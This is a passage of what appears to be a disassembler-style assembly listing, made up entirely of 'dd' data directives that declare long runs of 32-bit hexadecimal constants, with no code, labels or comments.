12668430h, 41E956Ch dd 0AA9C16Fh, 7A278058h, 41169888h, 45E1DED6h, 0E2C86B03h dd 18C60224h, 2806E9BFh, 0DD594149h, 45C9A8AAh, 7D0F299Fh dd 3EE645B1h, 0F6AFED13h, 2B05AE1h, 0D2075E75h, 11400887h dd 71256753h, 9E5EDC42h, 667B09F1h, 2570507Dh, 0A052528Eh dd 6459440Fh, 73DB6522h, 35BE4401h, 0CA51561h, 0F6FD247Fh dd 0BF0121B8h, 151D4BB5h, 2DF73029h, 0BE046C03h, 44D80124h dd 0C7C80882h, 0B3316E4h, 7D1FCC77h, 2B432557h, 92BDFDF3h dd 0CCB96CD7h, 135B1C93h, 2D07B932h, 32965D38h, 0C7C060F0h dd 0ED1C15E1h, 803CB67Dh, 46D32CB5h, 7751E949h, 0BDF1F377h dd 0F0F5D6ACh, 5A06B063h, 5C0BAB05h, 6663552Dh, 70B1AAD5h dd 7441CC42h, 0A95F691Fh, 9A329661h, 0C718B7AAh, 0E659F4E9h dd 8AEA2AC0h, 9F4EAA05h, 32B10179h, 0E95A0800h, 0CB84BD29h dd 0B115AC5Fh, 1D95488h, 982E3D5Dh, 839D0B48h, 0BACD21C2h dd 2B7EB3h, 0C420DC25h, 10B3565h, 0FF71E46Eh, 1CE91481h dd 7D477AB0h, 14946749h, 683765C0h, 0C1360C7h, 63E60F6Eh dd 28FE0134h, 120C081Ah, 5B200914h, 0DE501926h, 0D3823D80h dd 65359AB4h, 0BFC61DDBh, 30EC31B1h, 60BEAACAh, 8089FC7Ah dd 68013EB9h, 3CBF1D8Eh, 0E020D0B3h, 5FE913CFh, 27DCAD36h dd 80780399h, 0E33087F3h, 75C3FE2Fh, 0F60504C0h, 0C1B652DBh dd 1240683h, 8B6FF529h, 74C227FEh, 4C686029h, 1C4AF617h dd 5FED16C8h, 0E45FAC2Eh, 3A853DBEh, 711275D5h, 8F9C2CFEh dd 74E2474Eh, 6F9EEA4Bh, 4FDFE610h, 0BB12E3ADh, 1831A340h dd 31102AB8h, 0A0C6E4F0h, 3F432BDAh, 2393E4B1h, 49132001h dd 57B7815h, 2E201A20h, 90CDD31h, 0E57637E3h, 0CE1CC260h dd 41899557h, 5E6BA381h, 0D79A200Bh, 0FD251D9Ch, 53139A47h dd 94CCBAAh, 57E02D5Eh, 19E92682h, 0F6773BF8h, 4EEC00Eh dd 0E334C980h, 77C89A99h, 43B5D07h, 1CF944F8h, 0BAF515ECh dd 13C0E834h, 4F973035h, 0ED93D00Bh, 856E3757h, 2221CC3Eh dd 0D1409DB5h, 7DB93E48h, 2F46923Bh, 819B5723h, 123B24FDh dd 535E8CE9h, 4A848BA0h, 0C159F305h, 1A808E8h, 0A02D4001h dd 6BFD4181h, 4A7146A8h, 5C74BA99h, 903421ABh, 0FD9C7A8Fh dd 0B0C15D83h, 3123DDB4h, 0F9B3D8CBh, 5AD33007h, 0AA27D02Ch dd 0FE9D800h, 0FF99ADCh, 432A60EFh, 0F417A046h, 7549BD07h dd 0B6F04B09h, 9CB4F68Ah, 97625A3h, 0D71602Dh, 4F759AF0h dd 0EC7034F7h, 0BA521ED3h, 3E957FC0h, 9282D5E9h, 81C0B5B9h dd 5122CC7h, 2FE03320h, 8008A2EFh, 234ABF7Eh, 1A1A677Dh dd 2921337h, 80133604h, 3BB861C6h, 2643B44Ah, 79B16C1Eh dd 0D3C55D67h, 2BC75DA5h, 0AA982227h, 0FA2D04DDh, 3DE814F1h dd 0B7F9A44Ch, 0DE6C53CAh, 0CD5EADA1h, 65EABEC3h, 67815175h dd 8C2F19A8h, 0FE09EA6Bh, 0DC990E59h, 78AD0C77h, 0BA16F55Dh dd 0E6016454h, 1BD5AEEDh, 4017C860h, 1C00BDC8h, 810F9D1Eh dd 0E6352FCDh, 57209516h, 3CBE0584h, 0D17FE918h, 3C4FE753h dd 27FB2D26h, 0DB117E15h, 13D4C6B7h, 98B141Fh, 41B3B273h dd 803421E8h, 664140EFh, 1C08317h, 4A9C99A0h, 0DFE4E84Dh dd 94FB4A3Ch, 0BC37FEA1h, 0F8AEF663h, 0C213BAAh, 964FE9F0h dd 0F4BFC31Bh, 914D894Bh, 0FFE88125h, 0BF4B9FA7h, 386870DCh dd 0AA4A6292h, 74165E8Ah, 7E67AA09h, 1C01ACF3h, 2747441Fh dd 2066145Dh, 0BA5B791Ah, 0BF7A45BAh, 0C531BA52h, 133CA0D1h dd 6F10F6A1h, 0F6493ECEh, 196E9C3h, 28AC404Fh, 0C86D2E04h dd 835BA945h, 387111E9h, 0D82F5A26h, 9649997Fh, 0E906E02Bh dd 0D77CB6B0h, 53409994h, 270E13BBh, 0DAD4344Ch, 0C1432582h dd 0A3B88003h, 24557996h dd 153EDD01h, 0F893FC28h, 79D796CBh, 7E5C7A41h, 9073F33Ah dd 135F580Fh, 0ABF34AD3h, 92BC770h, 240D995Fh, 4DD42039h dd 0DFF74F5Bh, 1D49E982h, 65E45D0Bh, 0FEFBD514h, 1AB15858h dd 612646F9h, 0A6077D0Eh, 3127D562h, 50A91BFDh, 580D6F0Dh dd 0BFD36711h, 39C493B3h, 0E649BABAh, 7F22ECC8h, 13E9800Ch dd 0DF710867h, 38B5029h, 6AFE1505h, 0AF64D989h, 3D939AF8h dd 0B97B025Ch, 65EF61C5h, 0F06200DDh, 0BFA376D4h, 2A26127Ch dd 893E2924h, 0FE09DB3Bh, 0C98100D7h, 6B8E26B9h, 0CD48497h dd 0B07DAD09h, 251F3012h, 2F63844h, 50DBE967h, 55503BADh dd 0E6041BADh, 1A56C158h, 0F17DC24Ah, 2BED6F6Eh, 0EBBC01F3h dd 2CC2A7Fh, 82A555Ch, 2754DC20h, 45D7555Fh, 0D65CA59Bh dd 6A3E3000h, 62376840h, 10F82331h, 0E5208708h, 7F5E9925h dd 61D5EF48h, 85175827h, 0F2D4AA83h, 8E3F61BBh, 0D9870139h dd 0CB21C744h, 0C6EBD7F7h, 90CEFC18h, 11D40B2h, 0F6B78ABAh dd 4007962Ah, 193CBAC7h, 0F29F5135h, 2213091Bh, 1ADD4653h dd 0A9807F04h, 0EEDBE6D7h, 0E9D58907h, 0EBFF6BF0h, 0A46FF58h dd 0CEA45B5Ah, 3D890BCDh, 7E870C24h, 4E3463E5h, 611BCC01h dd 0F52918BDh, 80FDE44h, 0B9EB2A5Eh, 836F942h, 72B50BC7h dd 0B4795EF4h, 0FCBEE534h, 6BD22656h, 0D3018C9h, 50B210E9h dd 0EEEB4651h, 2685700h, 1C453216h, 31481F60h, 2D13EF80h dd 0A317FD28h, 68A5A0h, 3620414Ah, 3CCB815Bh, 3BD20424h dd 3066EB00h, 7F89E7BAh, 25D7BCDDh, 0C509B1C4h, 7F2D1D78h dd 5F471702h, 0A208A47Ch, 0DC880537h, 3A91ABF6h, 9D2A1469h dd 511340A1h, 5F580F78h, 230A0577h, 0BA0220D6h, 0DE061FFCh dd 0A05CAFCAh, 0D29AFB58h, 2397FE68h, 0F641ABA2h, 4EB061C3h dd 0C681F3B6h, 0A3C03F58h, 7902EEC0h, 97CEE4FEh, 0F074E35Ah dd 0F60559EEh, 8EE2E9D0h, 0C29472D4h, 5A4CA0BAh, 0FA9C2097h dd 0D4619050h, 4F101940h, 70041E27h, 2E6619BCh, 50FCE28Bh dd 53E8A84Ch, 1C8298F9h, 0DD52E788h, 9F45FEEh, 0C111B251h dd 55A86A87h, 316CBAE5h, 6FE6979Eh, 3F5F5D79h, 0B42F53FDh dd 43C220F6h, 62E9742Bh, 5C0078D0h, 964DEE68h, 95524740h dd 0DE47AC58h, 9A6E6404h, 0AC9789C3h, 0CEE8C292h, 2679BFF8h dd 0CCE9C882h, 0FA83E85Fh, 0F4F0B84Ah, 8B4641D8h, 45C5DF0Ch dd 3A1A3E15h, 965F7D4Eh, 0E0C1311Ch, 2EE7BC26h, 52D304B9h dd 82F2FF0Dh, 54E9E4A5h, 0C3C7E912h, 3DE68D45h, 25E0AE44h dd 207812E2h, 0B22F051Dh, 9860F881h, 0BCEA4AF5h, 4A71615h dd 0DDD0510Eh, 32B7530Fh, 0DF4B19BEh, 0B2D1205Ah, 1F84A4Ah dd 8F65EFA4h, 0F1FF2504h, 6599AF13h, 820DB23Bh, 4B42E95Ch dd 0EF482781h, 0EEE78A55h, 58BACF02h, 0C0605763h, 8F262DF6h dd 0FE13FE31h, 7FC0D0B8h, 0EB8054B3h, 0F358AF70h, 0E926759Fh dd 0A6A4236Ch, 0AC645525h, 0B07EB082h, 0EA4B2DA8h, 560096CAh dd 2B906850h, 58024E8Dh, 460AAD35h, 68805522h, 34DEC7BAh dd 0DC019327h, 685A8E53h, 0B6550CE9h, 0CDBC20A7h, 0BD555C17h dd 9E31B3F4h, 0F79D0D4Ch, 0A51428DCh, 34F9F3FBh, 27EA2989h dd 0F1FAA54Eh, 897AFDCDh, 0DF89661Fh, 273EFCE5h, 7F42D729h dd 0EFB0D40h, 0E94914DDh, 0DF142B0Dh, 0FB55A54Ah, 4FDD2763h dd 0C557A7B0h, 5B5428C1h, 2F17F1F0h, 5A504CCEh, 0B8282CAh dd 6805B398h, 0F721B71Ah, 0FC7543CAh, 0E9061B2Eh, 0B2F01EBh dd 9CDB945Eh, 3CE95067h, 0C0031CB6h, 9B8006ECh, 98F4995Fh dd 1321C4D8h, 358E588h, 0D60C36C7h, 602C9690h, 0E156E925h dd 0FB4509FBh, 0F47A7704h, 3052A41Fh, 88F1B286h, 0E825D17Eh dd 0F4735Fh, 15C2C681h, 0CDD0786h, 65742545h, 8060AC9h dd 5814800Ch, 18524857h, 0DB197801h, 6C1EE968h, 0C3E55065h dd 57240B95h, 6777318Bh, 58021126h, 59742F7Ah, 2A3482A4h dd 79E001B2h, 87092C1Ah, 44FD2912h, 0D0D4E67Bh, 3010E332h dd 0AD680AC2h, 3B45DD6Bh, 2E6139EAh, 0A6997FDh, 5EE57Dh dd 5306E8C1h, 0DB4F86E9h, 292261AFh, 4D148002h, 790DF581h dd 0C80F3CDh, 75B03BDFh, 7291EA21h, 2372DF69h, 3D7FE913h dd 9CBEF4ABh, 0EA4515Fh, 0F29CBD5Fh, 1362FC5Dh, 11095066h dd 6B1A7C3Bh, 5AE94175h, 0D742F32Bh, 0A8D88CFFh, 0F6EC7C5Eh dd 55DB2F2h, 0CABE5D89h, 0B1C09721h, 918B09E9h, 0E08549A4h dd 0C2251DD6h, 6E325165h, 34623F60h, 0DA1AF927h, 0E90880CDh dd 86CB54AFh, 0C5C9D5Ch, 501125BEh, 97D69F3Dh, 0CBDDD078h dd 0C2D7C3D5h, 302D840Ah, 0F6065614h, 724C8F29h, 78C11A02h dd 588EE9E6h, 3A5E61A9h, 3C412126h, 203D2D5Bh, 8024B7A5h dd 0C8DEBFB9h, 430420Bh, 0CDAEF92Bh, 4FAE2E83h, 12E54FC0h dd 0E04CAC39h, 0BF5C9D68h, 894F7B79h, 9EE8CA45h, 0B0E91A9Bh dd 0DC575631h, 403E93EBh, 6EBB531Dh, 4C372D02h, 17E2A889h dd 0CA8AA087h, 0E31658CDh, 249F4120h, 5B281Eh, 0D352A4E2h dd 0E3984A20h, 5713A3BEh, 0D61FFCh, 226CEF45h, 724FE916h dd 0F4BE5313h, 0B60EEE1Ah, 0C0268A09h, 0D91E62F6h, 70E9276Dh dd 0BB1AE02h, 0D55081C2h, 0A290454Eh, 0F4648CF5h, 0EEEE4A3Bh dd 0DAF1EDDDh, 80EF3545h, 1D7FC156h, 1F77217Dh, 497CD88Bh dd 4C2F7F48h, 0CB0261E3h, 51992AABh, 4C63DD8Eh, 0EBE03EC6h dd 0AA060DF8h, 9E40E961h, 0CB681787h, 828BFE3Ch, 0BCEF0D12h dd 0BA528555h, 0E25AD7BBh, 0F9C6DE88h, 3C685102h, 456DE618h dd 6FC909C1h, 0F10513D8h, 9F41AAA5h, 0E02087EBh, 0D9E903E2h dd 5C720A69h, 0F3E16146h, 982C6FFEh, 0EF7BBE68h, 18CE1370h dd 7A947AEDh, 2707A001h, 3522E935h, 42B3D533h, 0CAFDC12Eh dd 8BF67780h, 0FD0A8FA8h, 0A1704368h, 601AAA04h, 309B8490h dd 51DC9044h, 806A9EBh, 0E614820Ch, 0B9F98062h, 27C08254h dd 0CC31A7Eh, 0F152EDD1h, 4B6A3437h, 8478D2E0h, 0BBFB9854h dd 42284B90h, 6806EA29h, 4B6A8C6Eh, 0FBBD5ECAh, 417DD569h dd 0D3698D89h, 7A79F6CFh, 90766618h, 0BC2A30E9h, 578DB887h dd 3543C302h, 0D53C2267h, 6A7DCF60h, 0F66B9025h, 49DB88C8h dd 9605225h, 76EB4D65h, 90CBA0Bh, 4E0CBF1Ch, 58054119h dd 0B1750011h, 2DF0D27h, 0E92C32DAh, 5D81992Fh, 5C2355BBh dd 95EBC920h, 0E9D2827Fh, 5ED5A61Ch, 581140A6h, 0C51D9794h dd 4AB35301h, 9130DD20h, 0A9FE5AF8h, 74CB9EDCh, 821DD1EFh dd 17A36BB8h, 704951E2h, 0AAD0925Ah, 81BB60FFh, 560B20EFh dd 50296321h, 5D08800Fh, 0C93C5F87h, 7CFB3ADAh, 0B853C77h dd 0C15606EDh, 6443C589h, 0A9D24E3Dh, 0F25F182Eh, 3C580D2h dd 4EDC001h, 1150D5F6h, 2699E104h, 0EFBEB00h, 623B6858h dd 0CFD7650Dh, 2CEE14D7h, 93A522D0h, 0ADF4095Ah, 575326D8h dd 298AD264h, 25C1B227h, 0E166214Dh, 44846B1Ah, 0A248F2AFh dd 0C459DF56h, 0F51CF552h, 30B6E918h, 13D1E6D7h, 4123013Fh dd 84FBC6C4h, 20853AB4h, 73901A84h, 0F01BB252h, 104860D5h dd 0C280CAFEh, 4108322Eh, 0AADDF60Ah, 0EF88F104h, 62EE60D9h dd 5ACD6FCh, 0B4FEF428h, 0ADB952B3h, 9B06860h, 0CE445074h dd 0F13188E6h, 0D212CEB5h, 4AA4FEE2h, 0F82AF18Bh, 7BE982ACh dd 99026869h, 21081441h, 0B304F24Bh, 0D334186Fh, 0B0CFD1F6h dd 571B8DF3h, 0C9222E60h, 0B715A362h, 0E904A667h, 87B9AC48h dd 5C621E07h, 0A044B411h dd 0F84E3017h, 8C109AF6h, 35B9025Fh, 831FDF54h, 0BB0C55C7h dd 0A7460175h, 1913A7Bh, 59E58C8h, 0A555C03h, 8C086830h dd 130931AAh, 143400BFh, 0BF2D7004h, 8061C3D4h, 0EDCC5ECDh dd 0E8282CB7h, 0A285129Ch, 0BF570119h, 0F7A3CEFh, 0E9D0A02Ah dd 0DBDC1430h, 6DE77C3h, 3E68CEC4h, 0F424FB0Eh, 5D52875Ah dd 63A8B038h, 120DBE80h, 0E2C84749h, 7307F0Ah, 0D3871E1Eh dd 44681952h, 625A3942h, 7B9B4187h, 0FEF442ADh, 5E77F3A4h dd 6D77D1F1h, 0F35FC22Fh, 0AA5565DFh, 6F84EEE3h, 972FBDBh dd 0F03910D2h, 270FFE5Fh, 0AB860BC3h, 0BE2B55D5h, 59E0E1F5h dd 0A1605749h, 83688091h, 41BC0F5Ah, 0AB809DC5h, 0C4C610C1h dd 389D405h, 0F43E17CFh, 0DABBB8C8h, 0F7CBD525h, 52C0C64h dd 0F549B6A3h, 0EA592825h, 25E29788h, 30F6FEEFh, 9BEF8E9h dd 78CA40E6h, 840230Bh, 71254905h, 506FF057h, 0F8E9072Dh dd 0D1F99F10h, 0EB47DB25h, 12BDE4D5h, 0A8206168h, 88A5C45Dh dd 654EEA17h, 50210C3h, 0E6E6307h, 3AC08142h, 0DC787041h dd 0D3ADEC7h, 895A54EBh, 0B5F043E9h, 47F82125h, 0E9552815h dd 0EB15100h, 724B32F0h, 53A888BEh, 0D4B60CF4h, 9787027h dd 1E7477E1h, 16600180h, 0CC0048Eh, 61894F19h, 9EC35129h dd 92E90800h, 0EBA6B621h, 988496D5h, 5ACB24Fh, 0E06A26B8h dd 0A3BD1866h, 0FB00BA52h, 0B90E6D48h, 27258EC7h, 0A0F52928h dd 607DE9C6h, 8D70516Ah, 42EFEC2Ah, 7C021287h, 0C09F75BEh dd 0E949708Dh, 960E3E5Eh, 6285C955h, 0FFE00954h, 8277E129h dd 0EA31283h, 0C279E0F3h, 57F8706h, 90E4A57h, 246B10DDh dd 124BBA7Dh, 0D74055FCh, 29813071h, 0A9094B38h, 59DDFEF7h dd 2ED3A8A4h, 6FA3619Ah, 0C2D38824h, 109B2ACh, 0F680687Bh dd 641EC76Bh, 7B6AB371h, 0D34BEA7Dh, 0E90BDDADh, 0A7F23F8Fh dd 0C828641Eh, 0E8660E89h, 82031FBCh, 2DDD7062h, 906E0CCAh dd 0E9DE29D6h, 7FCD1D25h, 59BF01E4h, 2D3E40EDh, 0B49B3C27h dd 7AB1813Ch, 469641FBh, 8ADD40CAh, 0FA2B3FB2h, 0D334F407h dd 7E555010h, 53B38B6h, 49690753h, 7CAF829h, 279FE909h dd 0E51E5828h, 0A64BA0F9h, 76DE82F2h, 0F737483Ah, 4371324h dd 0DDC1AB4Dh, 76641FCCh, 197D0FD5h, 3465526Dh, 58A092D8h dd 0E8B4C3C1h, 4EBE2CB1h, 0EA4D184Bh, 47691456h, 0E304F76Fh dd 0AE1B4F6Bh, 4B08DC50h, 4880F629h, 760F7E0Dh, 0BFBCA1E9h dd 8782B526h, 55688473h, 2925E5E6h, 712AE0FBh, 2A3C5C5Bh dd 1C2E6B77h, 97863D5h, 0CD521D1Eh, 0A016B304h, 359B59F8h dd 45149CA8h, 129EFA6Dh, 3500F52Eh, 183D7CBFh, 6889972Bh dd 0F93C7168h, 56DD1ABDh, 14A08977h, 579797C6h, 3C6B1100h dd 8972995h, 0E250797h, 0CCA877BAh, 1518E996h, 0BCF314Dh dd 8B5E8EF6h, 9BF0A9h, 7A25D0F7h, 0E915B111h, 0A2E5FB2Ch dd 50575650h, 0E754E55Eh, 41FB393Ah, 4549E64h, 0B20FACEFh dd 84AA248Bh, 50B388F3h, 0D06320F2h, 0FB54C575h, 6DB3FF7Bh dd 5A7E0F47h, 0D104C1FEh, 0C6F8AFE5h, 0A4ECBAF1h, 0DC048256h dd 97FC2F48h, 0FB356C05h, 52E0FF67h, 1754E0A0h, 0FD976839h dd 5DEF80A7h, 4EC16EE0h, 636780EEh, 4805B808h, 555AD629h dd 0D07CFD0Bh, 55FEAAB1h, 0C755D4A9h, 0BED32D7Fh, 277849h dd 0F80BB53h, 0E38162D7h, 0E968FE0Bh, 65110518h, 4DDD8CBFh dd 408EE24Fh, 68CBFE05h, 0FC31EA7Ah, 0CCF051B4h, 0ACCA5AE9h dd 0F2AD4EFDh, 27E1778Ah, 0BF0E4557h, 21607AAFh, 152632BDh dd 0F908E4D0h, 38D82085h, 0FF5A34CFh, 974AC876h, 0E926E214h dd 60A5B4B4h, 81C76F47h, 7D10275Ch, 0F00AEC4Bh, 4B08F801h dd 54A028BAh, 9D21EF75h, 8F8C94Bh, 312667E7h, 0A5173FD6h dd 5B5662AAh, 0E9CB0B0Eh, 4928B9C7h, 7D805125h, 2A980EC9h dd 0F8404090h, 87C30980h, 0B784DBF6h, 0C4B0F842h, 5132FC0h dd 0B8CE011Ch, 7B019387h, 382C40B5h, 13A66C60h, 407FA2Fh dd 68A7272h, 228D2F7h, 17A01C6Dh, 0B2C1D587h, 7C01055Ch dd 8524751h, 3F7E0C83h, 0CDE0657Dh, 0FB30289Ah, 7A1B1861h dd 0C1484EA3h, 6F0ACBC7h, 0CE25B6E3h, 38D595C2h, 80F427C5h dd 0A1358BEh, 6AE06B3Fh, 776A0944h, 6C01D6F7h, 42747C01h dd 0A850E8B6h, 5D2CB905h, 0E701761Ah, 6F999EA3h, 156A424h dd 423C4BBEh, 740BE90Fh, 6ABD5B94h, 25C065C6h, 0A959015Eh dd 5E258978h, 2062BC5Fh, 5113BD15h, 94A92AB5h, 0EA882209h dd 0C23FE66Ch, 0CF3B7BBAh, 0B2106E28h, 0D3AF6809h, 7DA21981h dd 0EFA93F8Bh, 824BDB94h, 17C02F5Dh, 0DB02BB10h, 311AA402h dd 986E43CBh, 505217Dh, 7BE9562Fh, 9265E45h, 3EFD2DD5h dd 45C7D73h, 0CE31CBC9h, 682DC017h, 4F371D93h, 0DD4A035h dd 4E1C005h, 894841E2h, 80B56FBFh, 0BA8BC43Ah, 19590D80h dd 0F76AE970h, 455A2564h, 0DFE90418h, 54A782F1h, 5842035Ch dd 53EBD627h, 64F2F6E1h, 421E60DEh, 568C0135h, 2D6814C1h dd 9D566D64h, 0FD6B39CDh, 4EF950B5h, 0EDB3914Fh, 2D68F700h dd 6E712526h, 0E94A3E1Fh, 7567FE1Ch, 6812B71Eh, 9ED82D75h dd 0E908F756h, 904B6E25h, 0CB5155D1h, 8B5610AAh, 72580ACBh dd 5BAFEA26h, 0B9B70821h, 0CD315D04h, 0E287A9AAh, 12B2742Dh dd 0CDA0005Ah, 3171AC79h, 0E049C24Ah, 0C6D0A028h, 0E6E0E680h dd 6326FCEh, 0AD95E945h, 17CB165Fh, 25785CB2h, 0B1565CF3h dd 1DB0083Fh, 0BA040028h, 0FE02E0C0h, 0D0F6C80Fh, 0F6C27234h dd 0AA897DCDh, 0CA51F3F5h, 7E1A026Ch, 10782A68h, 840B0DDEh dd 62EF5636h, 0F50A4F33h, 0F1080A02h, 419EA20Dh, 0A9F60709h dd 1A74687Fh, 0B07F975Ch, 0EF88502Dh, 0E910207Fh, 79B5BA9Ah dd 74D38FB3h, 197B25CBh, 621FB039h, 1FBDED80h, 0C56C8651h dd 0AD5F601h, 0C905906h, 0D0E6C025h, 0F780E709h, 65DA5DC8h dd 0D4E9A01Dh, 572D7030h, 0E89F5E66h, 7CB150D7h, 7EBD3C70h dd 4E575A3Dh, 42CABEBFh, 115DEEB0h, 9E9C5557h, 0D1490426h dd 0A252BEEDh, 0F00612ECh, 0C01E07Fh, 8D80400Eh, 2EBEFBFEh dd 60582FE4h, 1C802676h, 41619083h, 3456B533h, 9A5D9802h dd 5B09E164h, 0B3E28705h, 32769F10h, 6A1B2201h, 2797E923h dd 58C3B589h, 295C6B66h, 0E8268494h, 4999AA16h, 0E5635730h dd 2D53DAFAh, 11F65168h, 4DB0CF96h, 276D90ACh, 39533AC8h dd 0EB0189h, 2EE9DF9Ch, 0B6689F64h, 58808E65h, 0D0F72E40h dd 47F2FC1h, 68A8161Eh, 6EAC107h, 43CDB181h, 63CC8C40h dd 1EB91CFCh, 14320366h, 0D7028841h, 90458E6h, 894305EAh dd 79D29DFAh, 1535FC09h, 0C14EC036h, 0DC7B14D3h, 0EA4AEAD7h dd 53328291h, 68138076h, 0F331BBD3h, 912B9FE9h, 6A593739h dd 5E954132h, 706F2EC9h, 2DA4F5DEh, 2D355EB7h, 34EE1857h dd 35C72E59h, 69081873h, 0D18313C0h, 397FD211h, 0ADE66EE9h dd 6B57BBD9h, 0E9A822E8h, 6413E631h, 22FC07B8h, 5F10B72Fh dd 6E043505h, 895D268Ch, 335E30C1h, 642BD92Ah, 0E24CAD42h dd 55A38013h, 4F316D3Ch, 0ACE885F7h, 1E06300Dh, 20E3A940h dd 9BF2966h, 904E8A2Ch, 6B478E39h, 0CE0C588Fh, 0F8FDE4F8h dd 10E009C2h, 28F56CFAh, 712D0805h, 0CE5D6B9Ch, 0BF1ED304h dd 0FB0C722Dh, 2A99846Dh, 861CE624h, 0E91B1601h, 0A250115Bh dd 7FD5C3EDh, 42509D0Fh, 0A1C5574Ah, 0CD0602B1h, 2507E6CAh dd 0B7DEBB6Ah, 85405210h dd 94F7F02h, 485FC9CFh, 92251405h, 965E5641h, 0F42FB859h dd 7CB70EEAh, 0B6524099h, 30EB7C8h, 0B5AF730h, 58C9E2FDh dd 0C549B814h, 0B74EE89Dh, 0D3267217h, 21880514h, 8D126E6h dd 31031318h, 105B5A02h, 6BCDBD40h, 38C97274h, 7475192Ch dd 0DDEEE504h, 540215Ah, 7C7A0FBEh, 0D496D61h, 5749DAF6h dd 0E958BAF1h, 279EB482h, 74952E78h, 5AD65856h, 0CBD05697h dd 5D2745D1h, 7D2F6B67h, 0F895E833h, 0DD5A2440h, 0EFE42h dd 912DD829h, 0F3427D2Dh, 0EA051732h, 0D0F62C52h, 6B258458h dd 0DD9ECE71h, 191CFE16h, 58022D50h, 2811EB80h, 1E065B5Fh dd 35946FF6h, 82BFB07Eh, 0B3E6DABh, 4BE6015Dh, 0B8610795h dd 6816F768h, 3E30AADFh, 2435B8BBh, 83AF292Ch, 0FF31E956h dd 795A4361h, 0D7D6E54Bh, 26076288h, 3951C1h, 2D3AD82Dh dd 0BAD01AB8h, 0A2904B20h, 6D667D14h, 9549A1FAh, 260B0501h dd 0BF824E0Eh, 877F0BBAh, 3DDDB35Eh, 9E527F60h, 45B16F0h dd 0ABEB8829h, 0ECA20767h, 0EEA45222h, 89145A72h, 0BF2730C4h dd 0CFAC625Bh, 0DD3BA415h, 1BBEA85Ah, 0E245330Ch, 0AC9AD1D0h dd 22F14644h, 291C7F95h, 633AE916h, 682760AEh, 2BA1355Ah dd 0C59E0745h, 0AE4004E2h, 5F5327EBh, 3AFA9D4Fh, 0C5E0883h dd 386377F1h, 0FE7DEE5Eh, 308D4B2Fh, 0E448DE10h, 7C40DD82h dd 6928FBBAh, 9B20B521h, 7155500Ch, 0CC6D5AAAh, 1D4BA7DEh dd 12CE42A4h, 30B185Dh, 0EF53D0ACh, 0F3BB9DDh, 41FDB5C1h dd 3FD668F1h, 51258F33h, 4225055Ch, 0A4DB020Bh, 0C05D05BBh dd 0F8170472h, 0C5EE4DE4h, 4151B209h, 797ABE8h, 0D2D27F95h dd 31C4F576h, 0C32A21ECh, 8D84DC43h, 0E9E2619Bh, 155FDEA9h dd 6BC4DA5Dh, 0F21C4C11h, 0AE62B5EEh, 98BC5D5h, 0CED5BB53h dd 7C45B56Ah, 0FE7F09CBh, 79342788h, 52C6DE97h, 10DA261h dd 3081CD21h, 62BBAEEDh, 54E12B92h, 8329EE2Fh, 0C5098FD2h dd 8DBBBD95h, 0D742E4FAh, 40BF5695h, 169F068h, 0F45D0628h dd 52284F1Fh, 64E5E956h, 0C51A816Fh, 5ACAE370h, 577A247Eh dd 0E252F5Ah, 0F81802E3h, 961A565Fh, 0AC8C450Bh, 0C6D1BF30h dd 0E96EC7DEh, 2C15C523h, 42C88AFAh, 5F292512h, 63B29664h dd 0B00BB200h, 0E9D02897h, 0E7F24F93h, 0DA680BAEh, 1CD9B00Eh dd 79FE48F7h, 0F5F23DC5h, 74A30C27h, 0ED4D0664h, 7E14F1AFh dd 0F50435CBh, 0D3C394E9h, 6AB9F759h, 0AD17042Bh, 0BEB384FFh dd 60EC55F4h, 2CF65948h, 22971CB6h, 0D40F52h, 503685Bh dd 0C8622694h, 0E4E90137h, 88E26A1Ch, 60F6FCE4h, 4BABCADBh dd 300D482Eh, 5F2DCB5Ch, 0FF6E2256h, 36C51C52h, 26BC2CBBh dd 0B7BE2F40h, 81095EF4h, 6F077C44h, 177C6C09h, 0DCD8E961h dd 3CF1B27Ah, 0A9909352h, 588FB7E8h, 0BBFC1837h, 7E24CDE6h dd 0CE017108h, 64EF44B5h, 1359F060h, 0A8C883DAh, 5641764Fh dd 55793320h, 0A101BD89h, 5301BD36h, 0DE5C88B3h, 0BA66031Eh dd 0A5A65D5Ch, 37FC041Eh, 2E2477E5h, 1E23FD88h, 2891DEEh dd 4C27F34h, 0DEE90807h, 77CFE4Bh, 126F22CCh, 0AD701E1Ah dd 60084188h, 4282ED98h, 0A750F5FBh, 77345E7Ch, 78ED9B1Fh dd 9869AD17h, 0B920E90Ah, 49B22403h, 685A0271h, 527E1F69h dd 2737162h, 0F62C42Ch, 0C781396Bh, 97DBC980h, 2B000606h dd 0E9509BF7h, 0C6FD697Ch, 9AFEB3ECh, 2AD65582h, 93EA30E3h dd 0AC085AD5h, 10E790B3h, 5F2583D6h, 205FC4DFh, 0B62F7C14h dd 27474E0h, 70C3805Ah, 82856DE1h, 87E97A06h, 0CB7D38Bh dd 839AFA70h, 8101C200h, 0C1CEAE2h, 9E6B078h, 151D5B55h dd 68A46857h, 9F617075h, 957C4FDCh, 0D42FA5F9h, 7C1B0B9Bh dd 569066EEh, 2EC2B138h, 871B43C8h, 6FACDD22h, 48E09710h dd 32BE040Fh, 559505FBh, 613BFh, 8B18CA64h, 0D8B54D40h dd 2748EC40h, 58D44EEDh, 1015E10Bh, 7D24CA4Fh, 0F44D637Ch dd 1BDA7493h, 7C2C52F7h, 0C34F2519h, 17006A09h, 5BDA315Eh dd 44BB014Fh, 0EBB1F5ABh, 44FB9534h, 17BC8161h, 3D42CCFBh dd 664EFD5Eh, 75E51C34h, 510F8545h, 32BCF3B5h, 28B72A61h dd 59E147D3h, 0C50E5D5h, 0EE2AB652h, 46E91112h, 0FF2594E1h dd 0EA62B501h, 0C1829C47h, 0DDAE8B58h, 5260B1E5h, 162C7BB2h dd 0ADDBE972h, 59C81F8Ch, 0CF93565Eh, 9C3E4E4h, 1A971544h dd 5853784h, 0EA215Eh, 0F352EDC6h, 0C7FEF8A5h, 14E50C5Bh dd 4F6F8E20h, 2EDDE829h, 0AF207945h, 3DC5417Dh, 3AED50E9h dd 967FF101h, 2189DF65h, 0EDF00097h, 0B12E0603h, 0EF027221h dd 0DF63906Ah, 5D8B220h, 453A277Fh, 2BFCE43h, 0E2B0E922h dd 7B7B1D9h, 7CB30DC2h, 27F982C4h, 0D67D1DD7h, 0C6FD5A2Eh dd 0B8251CC4h, 0EEE961FFh, 44F0135Dh, 0F78A00A6h, 363B3337h dd 8997D1A1h, 0F5116844h, 2FC2F028h, 0C95B3279h, 924827BCh dd 0E45E0593h, 17CF299Ah, 0BEF216DBh, 74B828h, 56320C09h dd 212859BEh, 41BE635Bh, 7C58FCA6h, 90FE75B3h, 553B2C62h dd 